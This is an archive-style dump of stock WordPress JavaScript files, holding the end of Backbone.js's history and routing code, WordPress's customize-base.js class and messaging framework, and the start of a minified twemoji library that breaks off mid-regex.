{ // If we've started off with a route from a `pushState`-enabled // browser, but we're currently in a browser that doesn't support it... if (!this._hasPushState && !this.atRoot()) { var rootPath = this.root.slice(0, -1) || '/'; this.location.replace(rootPath + '#' + this.getPath()); // Return immediately as browser will do redirect to new url return true; // Or if we've started out with a hash-based route, but we're currently // in a browser where it could be `pushState`-based instead... } else if (this._hasPushState && this.atRoot()) { this.navigate(this.getHash(), {replace: true}); } } // Proxy an iframe to handle location events if the browser doesn't // support the `hashchange` event, HTML5 history, or the user wants // `hashChange` but not `pushState`. if (!this._hasHashChange && this._wantsHashChange && !this._usePushState) { this.iframe = document.createElement('iframe'); this.iframe.src = 'javascript:0'; this.iframe.style.display = 'none'; this.iframe.tabIndex = -1; var body = document.body; // Using `appendChild` will throw on IE < 9 if the document is not ready. var iWindow = body.insertBefore(this.iframe, body.firstChild).contentWindow; iWindow.document.open(); iWindow.document.close(); iWindow.location.hash = '#' + this.fragment; } // Add a cross-platform `addEventListener` shim for older browsers. var addEventListener = window.addEventListener || function(eventName, listener) { return attachEvent('on' + eventName, listener); }; // Depending on whether we're using pushState or hashes, and whether // 'onhashchange' is supported, determine how we check the URL state. if (this._usePushState) { addEventListener('popstate', this.checkUrl, false); } else if (this._useHashChange && !this.iframe) { addEventListener('hashchange', this.checkUrl, false); } else if (this._wantsHashChange) { this._checkUrlInterval = setInterval(this.checkUrl, this.interval); } if (!this.options.silent) return this.loadUrl(); }, // Disable Backbone.history, perhaps temporarily. Not useful in a real app, // but possibly useful for unit testing Routers. stop: function() { // Add a cross-platform `removeEventListener` shim for older browsers. var removeEventListener = window.removeEventListener || function(eventName, listener) { return detachEvent('on' + eventName, listener); }; // Remove window listeners. if (this._usePushState) { removeEventListener('popstate', this.checkUrl, false); } else if (this._useHashChange && !this.iframe) { removeEventListener('hashchange', this.checkUrl, false); } // Clean up the iframe if necessary. if (this.iframe) { document.body.removeChild(this.iframe); this.iframe = null; } // Some environments will throw when clearing an undefined interval. if (this._checkUrlInterval) clearInterval(this._checkUrlInterval); History.started = false; }, // Add a route to be tested when the fragment changes. Routes added later // may override previous routes. route: function(route, callback) { this.handlers.unshift({route: route, callback: callback}); }, // Checks the current URL to see if it has changed, and if it has, // calls `loadUrl`, normalizing across the hidden iframe. checkUrl: function(e) { var current = this.getFragment(); // If the user pressed the back button, the iframe's hash will have // changed and we should use that for comparison. if (current === this.fragment && this.iframe) { current = this.getHash(this.iframe.contentWindow); } if (current === this.fragment) { if (!this.matchRoot()) return this.notfound(); return false; } if (this.iframe) this.navigate(current); this.loadUrl(); }, // Attempt to load the current URL fragment. If a route succeeds with a // match, returns `true`. If no defined routes matches the fragment, // returns `false`. loadUrl: function(fragment) { // If the root doesn't match, no routes can match either. if (!this.matchRoot()) return this.notfound(); fragment = this.fragment = this.getFragment(fragment); return _.some(this.handlers, function(handler) { if (handler.route.test(fragment)) { handler.callback(fragment); return true; } }) || this.notfound(); }, // When no route could be matched, this method is called internally to // trigger the `'notfound'` event. It returns `false` so that it can be used // in tail position. notfound: function() { this.trigger('notfound'); return false; }, // Save a fragment into the hash history, or replace the URL state if the // 'replace' option is passed. You are responsible for properly URL-encoding // the fragment in advance. // // The options object can contain `trigger: true` if you wish to have the // route callback be fired (not usually desirable), or `replace: true`, if // you wish to modify the current URL without adding an entry to the history. navigate: function(fragment, options) { if (!History.started) return false; if (!options || options === true) options = {trigger: !!options}; // Normalize the fragment. fragment = this.getFragment(fragment || ''); // Strip trailing slash on the root unless _trailingSlash is true var rootPath = this.root; if (!this._trailingSlash && (fragment === '' || fragment.charAt(0) === '?')) { rootPath = rootPath.slice(0, -1) || '/'; } var url = rootPath + fragment; // Strip the fragment of the query and hash for matching. fragment = fragment.replace(pathStripper, ''); // Decode for matching. var decodedFragment = this.decodeFragment(fragment); if (this.fragment === decodedFragment) return; this.fragment = decodedFragment; // If pushState is available, we use it to set the fragment as a real URL. if (this._usePushState) { this.history[options.replace ? 'replaceState' : 'pushState']({}, document.title, url); // If hash changes haven't been explicitly disabled, update the hash // fragment to store history. } else if (this._wantsHashChange) { this._updateHash(this.location, fragment, options.replace); if (this.iframe && fragment !== this.getHash(this.iframe.contentWindow)) { var iWindow = this.iframe.contentWindow; // Opening and closing the iframe tricks IE7 and earlier to push a // history entry on hash-tag change. When replace is true, we don't // want this. if (!options.replace) { iWindow.document.open(); iWindow.document.close(); } this._updateHash(iWindow.location, fragment, options.replace); } // If you've told us that you explicitly don't want fallback hashchange- // based history, then `navigate` becomes a page refresh. } else { return this.location.assign(url); } if (options.trigger) return this.loadUrl(fragment); }, // Update the hash location, either replacing the current entry, or adding // a new one to the browser history. _updateHash: function(location, fragment, replace) { if (replace) { var href = location.href.replace(/(javascript:|#).*$/, ''); location.replace(href + '#' + fragment); } else { // Some browsers require that `hash` contains a leading #. location.hash = '#' + fragment; } } }); // Create the default Backbone.history. Backbone.history = new History; // Helpers // ------- // Helper function to correctly set up the prototype chain for subclasses. // Similar to `goog.inherits`, but uses a hash of prototype properties and // class properties to be extended. var extend = function(protoProps, staticProps) { var parent = this; var child; // The constructor function for the new subclass is either defined by you // (the "constructor" property in your `extend` definition), or defaulted // by us to simply call the parent constructor. if (protoProps && _.has(protoProps, 'constructor')) { child = protoProps.constructor; } else { child = function(){ return parent.apply(this, arguments); }; } // Add static properties to the constructor function, if supplied. _.extend(child, parent, staticProps); // Set the prototype chain to inherit from `parent`, without calling // `parent`'s constructor function and add the prototype properties. child.prototype = _.create(parent.prototype, protoProps); child.prototype.constructor = child; // Set a convenience property in case the parent's prototype is needed // later. child.__super__ = parent.prototype; return child; }; // Set up inheritance for the model, collection, router, view and history. Model.extend = Collection.extend = Router.extend = View.extend = History.extend = extend; // Throw an error when a URL is needed, and none is supplied. var urlError = function() { throw new Error('A "url" property or function must be specified'); }; // Wrap an optional error callback with a fallback error event. var wrapError = function(model, options) { var error = options.error; options.error = function(resp) { if (error) error.call(options.context, model, resp, options); model.trigger('error', model, resp, options); }; }; // Provide useful information when things go wrong. This method is not meant // to be used directly; it merely provides the necessary introspection for the // external `debugInfo` function. Backbone._debug = function() { return {root: root, _: _}; }; return Backbone; }); customize-base.js 0000644 00000062336 15111757752 0010061 0 ustar 00 /** * @output wp-includes/js/customize-base.js */ /** @namespace wp */ window.wp = window.wp || {}; (function( exports, $ ){ var api = {}, ctor, inherits, slice = Array.prototype.slice; // Shared empty constructor function to aid in prototype-chain creation. ctor = function() {}; /** * Helper function to correctly set up the prototype chain, for subclasses. * Similar to `goog.inherits`, but uses a hash of prototype properties and * class properties to be extended. * * @param object parent Parent class constructor to inherit from. * @param object protoProps Properties to apply to the prototype for use as class instance properties. * @param object staticProps Properties to apply directly to the class constructor. * @return child The subclassed constructor. */ inherits = function( parent, protoProps, staticProps ) { var child; /* * The constructor function for the new subclass is either defined by you * (the "constructor" property in your `extend` definition), or defaulted * by us to simply call `super()`. */ if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) { child = protoProps.constructor; } else { child = function() { /* * Storing the result `super()` before returning the value * prevents a bug in Opera where, if the constructor returns * a function, Opera will reject the return value in favor of * the original object. This causes all sorts of trouble. */ var result = parent.apply( this, arguments ); return result; }; } // Inherit class (static) properties from parent. $.extend( child, parent ); // Set the prototype chain to inherit from `parent`, // without calling `parent`'s constructor function. ctor.prototype = parent.prototype; child.prototype = new ctor(); // Add prototype properties (instance properties) to the subclass, // if supplied. if ( protoProps ) { $.extend( child.prototype, protoProps ); } // Add static properties to the constructor function, if supplied. if ( staticProps ) { $.extend( child, staticProps ); } // Correctly set child's `prototype.constructor`. child.prototype.constructor = child; // Set a convenience property in case the parent's prototype is needed later. child.__super__ = parent.prototype; return child; }; /** * Base class for object inheritance. */ api.Class = function( applicator, argsArray, options ) { var magic, args = arguments; if ( applicator && argsArray && api.Class.applicator === applicator ) { args = argsArray; $.extend( this, options || {} ); } magic = this; /* * If the class has a method called "instance", * the return value from the class' constructor will be a function that * calls the "instance" method. * * It is also an object that has properties and methods inside it. */ if ( this.instance ) { magic = function() { return magic.instance.apply( magic, arguments ); }; $.extend( magic, this ); } magic.initialize.apply( magic, args ); return magic; }; /** * Creates a subclass of the class. * * @param object protoProps Properties to apply to the prototype. * @param object staticProps Properties to apply directly to the class. * @return child The subclass. */ api.Class.extend = function( protoProps, staticProps ) { var child = inherits( this, protoProps, staticProps ); child.extend = this.extend; return child; }; api.Class.applicator = {}; /** * Initialize a class instance. * * Override this function in a subclass as needed. */ api.Class.prototype.initialize = function() {}; /* * Checks whether a given instance extended a constructor. * * The magic surrounding the instance parameter causes the instanceof * keyword to return inaccurate results; it defaults to the function's * prototype instead of the constructor chain. Hence this function. */ api.Class.prototype.extended = function( constructor ) { var proto = this; while ( typeof proto.constructor !== 'undefined' ) { if ( proto.constructor === constructor ) { return true; } if ( typeof proto.constructor.__super__ === 'undefined' ) { return false; } proto = proto.constructor.__super__; } return false; }; /** * An events manager object, offering the ability to bind to and trigger events. * * Used as a mixin. */ api.Events = { trigger: function( id ) { if ( this.topics && this.topics[ id ] ) { this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) ); } return this; }, bind: function( id ) { this.topics = this.topics || {}; this.topics[ id ] = this.topics[ id ] || $.Callbacks(); this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) ); return this; }, unbind: function( id ) { if ( this.topics && this.topics[ id ] ) { this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) ); } return this; } }; /** * Observable values that support two-way binding. * * @memberOf wp.customize * @alias wp.customize.Value * * @constructor */ api.Value = api.Class.extend(/** @lends wp.customize.Value.prototype */{ /** * @param {mixed} initial The initial value. * @param {Object} options */ initialize: function( initial, options ) { this._value = initial; // @todo Potentially change this to a this.set() call. this.callbacks = $.Callbacks(); this._dirty = false; $.extend( this, options || {} ); this.set = this.set.bind( this ); }, /* * Magic. Returns a function that will become the instance. * Set to null to prevent the instance from extending a function. */ instance: function() { return arguments.length ? this.set.apply( this, arguments ) : this.get(); }, /** * Get the value. * * @return {mixed} */ get: function() { return this._value; }, /** * Set the value and trigger all bound callbacks. * * @param {Object} to New value. */ set: function( to ) { var from = this._value; to = this._setter.apply( this, arguments ); to = this.validate( to ); // Bail if the sanitized value is null or unchanged. if ( null === to || _.isEqual( from, to ) ) { return this; } this._value = to; this._dirty = true; this.callbacks.fireWith( this, [ to, from ] ); return this; }, _setter: function( to ) { return to; }, setter: function( callback ) { var from = this.get(); this._setter = callback; // Temporarily clear value so setter can decide if it's valid. this._value = null; this.set( from ); return this; }, resetSetter: function() { this._setter = this.constructor.prototype._setter; this.set( this.get() ); return this; }, validate: function( value ) { return value; }, /** * Bind a function to be invoked whenever the value changes. * * @param {...Function} A function, or multiple functions, to add to the callback stack. */ bind: function() { this.callbacks.add.apply( this.callbacks, arguments ); return this; }, /** * Unbind a previously bound function. * * @param {...Function} A function, or multiple functions, to remove from the callback stack. */ unbind: function() { this.callbacks.remove.apply( this.callbacks, arguments ); return this; }, link: function() { // values* var set = this.set; $.each( arguments, function() { this.bind( set ); }); return this; }, unlink: function() { // values* var set = this.set; $.each( arguments, function() { this.unbind( set ); }); return this; }, sync: function() { // values* var that = this; $.each( arguments, function() { that.link( this ); this.link( that ); }); return this; }, unsync: function() { // values* var that = this; $.each( arguments, function() { that.unlink( this ); this.unlink( that ); }); return this; } }); /** * A collection of observable values. * * @memberOf wp.customize * @alias wp.customize.Values * * @constructor * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Values = api.Class.extend(/** @lends wp.customize.Values.prototype */{ /** * The default constructor for items of the collection. * * @type {object} */ defaultConstructor: api.Value, initialize: function( options ) { $.extend( this, options || {} ); this._value = {}; this._deferreds = {}; }, /** * Get the instance of an item from the collection if only ID is specified. * * If more than one argument is supplied, all are expected to be IDs and * the last to be a function callback that will be invoked when the requested * items are available. * * @see {api.Values.when} * * @param {string} id ID of the item. * @param {...} Zero or more IDs of items to wait for and a callback * function to invoke when they're available. Optional. * @return {mixed} The item instance if only one ID was supplied. * A Deferred Promise object if a callback function is supplied. */ instance: function( id ) { if ( arguments.length === 1 ) { return this.value( id ); } return this.when.apply( this, arguments ); }, /** * Get the instance of an item. * * @param {string} id The ID of the item. * @return {[type]} [description] */ value: function( id ) { return this._value[ id ]; }, /** * Whether the collection has an item with the given ID. * * @param {string} id The ID of the item to look for. * @return {boolean} */ has: function( id ) { return typeof this._value[ id ] !== 'undefined'; }, /** * Add an item to the collection. * * @param {string|wp.customize.Class} item - The item instance to add, or the ID for the instance to add. * When an ID string is supplied, then itemObject must be provided. * @param {wp.customize.Class} [itemObject] - The item instance when the first argument is an ID string. * @return {wp.customize.Class} The new item's instance, or an existing instance if already added. */ add: function( item, itemObject ) { var collection = this, id, instance; if ( 'string' === typeof item ) { id = item; instance = itemObject; } else { if ( 'string' !== typeof item.id ) { throw new Error( 'Unknown key' ); } id = item.id; instance = item; } if ( collection.has( id ) ) { return collection.value( id ); } collection._value[ id ] = instance; instance.parent = collection; // Propagate a 'change' event on an item up to the collection. if ( instance.extended( api.Value ) ) { instance.bind( collection._change ); } collection.trigger( 'add', instance ); // If a deferred object exists for this item, // resolve it. if ( collection._deferreds[ id ] ) { collection._deferreds[ id ].resolve(); } return collection._value[ id ]; }, /** * Create a new item of the collection using the collection's default constructor * and store it in the collection. * * @param {string} id The ID of the item. * @param {mixed} value Any extra arguments are passed into the item's initialize method. * @return {mixed} The new item's instance. */ create: function( id ) { return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) ); }, /** * Iterate over all items in the collection invoking the provided callback. * * @param {Function} callback Function to invoke. * @param {Object} context Object context to invoke the function with. Optional. */ each: function( callback, context ) { context = typeof context === 'undefined' ? this : context; $.each( this._value, function( key, obj ) { callback.call( context, obj, key ); }); }, /** * Remove an item from the collection. * * @param {string} id The ID of the item to remove. */ remove: function( id ) { var value = this.value( id ); if ( value ) { // Trigger event right before the element is removed from the collection. this.trigger( 'remove', value ); if ( value.extended( api.Value ) ) { value.unbind( this._change ); } delete value.parent; } delete this._value[ id ]; delete this._deferreds[ id ]; // Trigger removed event after the item has been eliminated from the collection. if ( value ) { this.trigger( 'removed', value ); } }, /** * Runs a callback once all requested values exist. * * when( ids*, [callback] ); * * For example: * when( id1, id2, id3, function( value1, value2, value3 ) {} ); * * @return $.Deferred.promise(); */ when: function() { var self = this, ids = slice.call( arguments ), dfd = $.Deferred(); // If the last argument is a callback, bind it to .done(). if ( typeof ids[ ids.length - 1 ] === 'function' ) { dfd.done( ids.pop() ); } /* * Create a stack of deferred objects for each item that is not * yet available, and invoke the supplied callback when they are. */ $.when.apply( $, $.map( ids, function( id ) { if ( self.has( id ) ) { return; } /* * The requested item is not available yet, create a deferred * object to resolve when it becomes available. */ return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred(); })).done( function() { var values = $.map( ids, function( id ) { return self( id ); }); // If a value is missing, we've used at least one expired deferred. // Call Values.when again to generate a new deferred. if ( values.length !== ids.length ) { // ids.push( callback ); self.when.apply( self, ids ).done( function() { dfd.resolveWith( self, values ); }); return; } dfd.resolveWith( self, values ); }); return dfd.promise(); }, /** * A helper function to propagate a 'change' event from an item * to the collection itself. */ _change: function() { this.parent.trigger( 'change', this ); } }); // Create a global events bus on the Customizer. $.extend( api.Values.prototype, api.Events ); /** * Cast a string to a jQuery collection if it isn't already. * * @param {string|jQuery collection} element */ api.ensure = function( element ) { return typeof element === 'string' ? $( element ) : element; }; /** * An observable value that syncs with an element. * * Handles inputs, selects, and textareas by default. * * @memberOf wp.customize * @alias wp.customize.Element * * @constructor * @augments wp.customize.Value * @augments wp.customize.Class */ api.Element = api.Value.extend(/** @lends wp.customize.Element */{ initialize: function( element, options ) { var self = this, synchronizer = api.Element.synchronizer.html, type, update, refresh; this.element = api.ensure( element ); this.events = ''; if ( this.element.is( 'input, select, textarea' ) ) { type = this.element.prop( 'type' ); this.events += ' change input'; synchronizer = api.Element.synchronizer.val; if ( this.element.is( 'input' ) && api.Element.synchronizer[ type ] ) { synchronizer = api.Element.synchronizer[ type ]; } } api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) ); this._value = this.get(); update = this.update; refresh = this.refresh; this.update = function( to ) { if ( to !== refresh.call( self ) ) { update.apply( this, arguments ); } }; this.refresh = function() { self.set( refresh.call( self ) ); }; this.bind( this.update ); this.element.on( this.events, this.refresh ); }, find: function( selector ) { return $( selector, this.element ); }, refresh: function() {}, update: function() {} }); api.Element.synchronizer = {}; $.each( [ 'html', 'val' ], function( index, method ) { api.Element.synchronizer[ method ] = { update: function( to ) { this.element[ method ]( to ); }, refresh: function() { return this.element[ method ](); } }; }); api.Element.synchronizer.checkbox = { update: function( to ) { this.element.prop( 'checked', to ); }, refresh: function() { return this.element.prop( 'checked' ); } }; api.Element.synchronizer.radio = { update: function( to ) { this.element.filter( function() { return this.value === to; }).prop( 'checked', true ); }, refresh: function() { return this.element.filter( ':checked' ).val(); } }; $.support.postMessage = !! window.postMessage; /** * A communicator for sending data from one window to another over postMessage. * * @memberOf wp.customize * @alias wp.customize.Messenger * * @constructor * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Messenger = api.Class.extend(/** @lends wp.customize.Messenger.prototype */{ /** * Create a new Value. * * @param {string} key Unique identifier. * @param {mixed} initial Initial value. * @param {mixed} options Options hash. Optional. * @return {Value} Class instance of the Value. */ add: function( key, initial, options ) { return this[ key ] = new api.Value( initial, options ); }, /** * Initialize Messenger. * * @param {Object} params - Parameters to configure the messenger. * {string} params.url - The URL to communicate with. * {window} params.targetWindow - The window instance to communicate with. Default window.parent. * {string} params.channel - If provided, will send the channel with each message and only accept messages a matching channel. * @param {Object} options - Extend any instance parameter or method with this object. */ initialize: function( params, options ) { // Target the parent frame by default, but only if a parent frame exists. var defaultTarget = window.parent === window ? null : window.parent; $.extend( this, options || {} ); this.add( 'channel', params.channel ); this.add( 'url', params.url || '' ); this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) { var urlParser = document.createElement( 'a' ); urlParser.href = to; // Port stripping needed by IE since it adds to host but not to event.origin. return urlParser.protocol + '//' + urlParser.host.replace( /:(80|443)$/, '' ); }); // First add with no value. this.add( 'targetWindow', null ); // This avoids SecurityErrors when setting a window object in x-origin iframe'd scenarios. this.targetWindow.set = function( to ) { var from = this._value; to = this._setter.apply( this, arguments ); to = this.validate( to ); if ( null === to || from === to ) { return this; } this._value = to; this._dirty = true; this.callbacks.fireWith( this, [ to, from ] ); return this; }; // Now set it. this.targetWindow( params.targetWindow || defaultTarget ); /* * Since we want jQuery to treat the receive function as unique * to this instance, we give the function a new guid. * * This will prevent every Messenger's receive function from being * unbound when calling $.off( 'message', this.receive ); */ this.receive = this.receive.bind( this ); this.receive.guid = $.guid++; $( window ).on( 'message', this.receive ); }, destroy: function() { $( window ).off( 'message', this.receive ); }, /** * Receive data from the other window. * * @param {jQuery.Event} event Event with embedded data. */ receive: function( event ) { var message; event = event.originalEvent; if ( ! this.targetWindow || ! this.targetWindow() ) { return; } // Check to make sure the origin is valid. if ( this.origin() && event.origin !== this.origin() ) { return; } // Ensure we have a string that's JSON.parse-able. if ( typeof event.data !== 'string' || event.data[0] !== '{' ) { return; } message = JSON.parse( event.data ); // Check required message properties. if ( ! message || ! message.id || typeof message.data === 'undefined' ) { return; } // Check if channel names match. if ( ( message.channel || this.channel() ) && this.channel() !== message.channel ) { return; } this.trigger( message.id, message.data ); }, /** * Send data to the other window. * * @param {string} id The event name. * @param {Object} data Data. */ send: function( id, data ) { var message; data = typeof data === 'undefined' ? null : data; if ( ! this.url() || ! this.targetWindow() ) { return; } message = { id: id, data: data }; if ( this.channel() ) { message.channel = this.channel(); } this.targetWindow().postMessage( JSON.stringify( message ), this.origin() ); } }); // Add the Events mixin to api.Messenger. $.extend( api.Messenger.prototype, api.Events ); /** * Notification. * * @class * @augments wp.customize.Class * @since 4.6.0 * * @memberOf wp.customize * @alias wp.customize.Notification * * @param {string} code - The error code. * @param {object} params - Params. * @param {string} params.message=null - The error message. * @param {string} [params.type=error] - The notification type. * @param {boolean} [params.fromServer=false] - Whether the notification was server-sent. * @param {string} [params.setting=null] - The setting ID that the notification is related to. * @param {*} [params.data=null] - Any additional data. */ api.Notification = api.Class.extend(/** @lends wp.customize.Notification.prototype */{ /** * Template function for rendering the notification. * * This will be populated with template option or else it will be populated with template from the ID. * * @since 4.9.0 * @var {Function} */ template: null, /** * ID for the template to render the notification. * * @since 4.9.0 * @var {string} */ templateId: 'customize-notification', /** * Additional class names to add to the notification container. * * @since 4.9.0 * @var {string} */ containerClasses: '', /** * Initialize notification. * * @since 4.9.0 * * @param {string} code - Notification code. * @param {Object} params - Notification parameters. * @param {string} params.message - Message. * @param {string} [params.type=error] - Type. * @param {string} [params.setting] - Related setting ID. * @param {Function} [params.template] - Function for rendering template. If not provided, this will come from templateId. * @param {string} [params.templateId] - ID for template to render the notification. * @param {string} [params.containerClasses] - Additional class names to add to the notification container. * @param {boolean} [params.dismissible] - Whether the notification can be dismissed. */ initialize: function( code, params ) { var _params; this.code = code; _params = _.extend( { message: null, type: 'error', fromServer: false, data: null, setting: null, template: null, dismissible: false, containerClasses: '' }, params ); delete _params.code; _.extend( this, _params ); }, /** * Render the notification. * * @since 4.9.0 * * @return {jQuery} Notification container element. */ render: function() { var notification = this, container, data; if ( ! notification.template ) { notification.template = wp.template( notification.templateId ); } data = _.extend( {}, notification, { alt: notification.parent && notification.parent.alt } ); container = $( notification.template( data ) ); if ( notification.dismissible ) { container.find( '.notice-dismiss' ).on( 'click keydown', function( event ) { if ( 'keydown' === event.type && 13 !== event.which ) { return; } if ( notification.parent ) { notification.parent.remove( notification.code ); } else { container.remove(); } }); } return container; } }); // The main API object is also a collection of all customizer settings. api = $.extend( new api.Values(), api ); /** * Get all customize settings. * * @alias wp.customize.get * * @return {Object} */ api.get = function() { var result = {}; this.each( function( obj, key ) { result[ key ] = obj.get(); }); return result; }; /** * Utility function namespace * * @namespace wp.customize.utils */ api.utils = {}; /** * Parse query string. * * @since 4.7.0 * @access public * * @alias wp.customize.utils.parseQueryString * * @param {string} queryString Query string. * @return {Object} Parsed query string. */ api.utils.parseQueryString = function parseQueryString( queryString ) { var queryParams = {}; _.each( queryString.split( '&' ), function( pair ) { var parts, key, value; parts = pair.split( '=', 2 ); if ( ! parts[0] ) { return; } key = decodeURIComponent( parts[0].replace( /\+/g, ' ' ) ); key = key.replace( / /g, '_' ); // What PHP does. if ( _.isUndefined( parts[1] ) ) { value = null; } else { value = decodeURIComponent( parts[1].replace( /\+/g, ' ' ) ); } queryParams[ key ] = value; } ); return queryParams; }; /** * Expose the API publicly on window.wp.customize * * @namespace wp.customize */ exports.customize = api; })( wp, jQuery ); twemoji.min.js 0000644 00000037670 15111757752 0007372 0 ustar 00 /*! This file is auto-generated */ var twemoji=function(){"use strict";var h={base:"https://cdn.jsdelivr.net/gh/jdecked/twemoji@16.0.1/assets/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return e(d);return e(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:o},onerror:function(){this.parentNode&&this.parentNode.replaceChild(x(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u||(u={callback:u});return h.doNotParse=u.doNotParse,("string"==typeof d?function(d,a){return n(d,function(d){var u,f,c=d,e=N(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,r),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,r,n,o,s,i,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a],3===(e=c.nodeType)?f.push(c):1!==e||"ownerSVGElement"in c||m.test(c.nodeName.toLowerCase())||h.doNotParse&&h.doNotParse(c)||d(c,f);return f}(d,[]),p=l.length;for(;p--;){for(e=!1,b=document.createDocumentFragment(),a=l[p],t=a.nodeValue,r=0;o=g.exec(t);){if((i=o.index)!==r&&b.appendChild(x(t.slice(r,i),!0)),s=N(o=o[0]),r=i+o.length,i=u.callback(s,u),s&&i){for(c in(n=new Image).onerror=u.onerror,n.setAttribute("draggable","false"),f=u.attributes(o,s))f.hasOwnProperty(c)&&0!==c.indexOf("on")&&!n.hasAttribute(c)&&n.setAttribute(c,f[c]);n.className=u.className,n.alt=o,n.src=i,e=!0,b.appendChild(n)}n||b.appendChild(x(o,!1)),n=null}e&&(r<t.length&&b.appendChild(x(t.slice(r),!0)),a.parentNode.replaceChild(b,a))}return d})(d,{callback:u.callback||b,attributes:"function"==typeof u.attributes?u.attributes:a,base:("string"==typeof u.base?u:h).base,ext:u.ext||h.ext,size:u.folder||function(d){return"number"==typeof d?d+"x"+d:d}(u.size||h.size),className:u.className||h.className,onerror:u.onerror||h.onerror})},replace:n,test:function(d){g.lastIndex=0;d=g.test(d);return g.lastIndex=0,d}},u={"&":"&","<":"<",">":">","'":"'",'"':"""},g=/(?:\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83d\udc69\ud83c[\udffb-\udfff]|\ud83e\uddd1\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffc-\udfff]|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb\udffc\udffe\udfff]|\ud83e\uddd1\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffd\udfff]|\ud83e\uddd1\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc8b\u200d\ud83e\uddd1\ud83c[\udffb-\udffe]|\ud83d\udc68\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffb\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffc-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffd\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffc\udffe\udfff]|\ud83d\udc68\ud83c\udffe\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udffe\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffd\udfff]|\ud83d\udc68\ud83c\udfff\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc68\ud83c\udfff\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb-\udffe]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe0f\u200d\ud83d\udc68\ud83c[\udffb-\udfff]|\ud83d\udc69\ud83c\udffb\u200d\u2764\ufe